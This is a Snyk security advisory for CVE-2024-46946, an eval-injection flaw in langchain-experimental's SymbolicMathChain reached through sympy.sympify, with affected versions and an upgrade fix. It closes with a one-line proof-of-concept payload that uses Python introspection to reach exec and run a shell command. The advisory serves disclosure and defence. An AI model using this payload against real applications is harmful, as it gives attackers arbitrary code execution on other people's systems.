Eval Injection Affecting langchain-experimental package, versions [0.0.58,0.3.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-LANGCHAINEXPERIMENTAL-8056288
- published19 Sept 2024
- disclosed19 Sept 2024
- credit12end
Introduced: 19 Sep 2024
CVE-2024-46946 (opens in a new tab)How to fix?
Upgrade langchain-experimental to version 0.3.1 or higher.
Overview
langchain-experimental is a package that holds experimental LangChain code, intended for research and experimental uses.
Affected versions of this package are vulnerable to Eval Injection in SymbolicMathChain component, through the sympify function. An attacker can execute arbitrary commands or code by supplying malicious input to this function.
PoC
sympy.sympify("this.__class__.__mro__[8].__subclasses__()[154].__init__.__globals__['__builtins__']['exec']('import os;os.system(\"id\")')")